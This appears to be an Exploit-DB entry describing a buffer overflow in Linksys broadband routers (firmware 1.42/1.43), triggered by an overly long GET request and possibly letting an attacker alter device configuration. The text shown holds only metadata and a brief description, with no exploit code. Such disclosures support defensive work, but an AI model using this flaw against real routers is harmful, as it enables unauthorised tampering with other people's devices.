Linksys Devices 1.42/1.43 - 'GET' Buffer Overflow (PoC)

EDB-ID:

22062

CVE:

N/A


Platform:

Hardware

Several Linksys Broadband Router devices are prone to a buffer overflow conditions.

The vulnerability occurs due to insufficient allocation of memory for buffers. 

An attacker can exploit this vulnerability by issuing an overly long GET request to the vulnerable Linksys device. When the device attempts to process the malformed input, it will be possible to corrupt sensitive memory. This may allow an attacker to change configuration information on the vulnerable device.
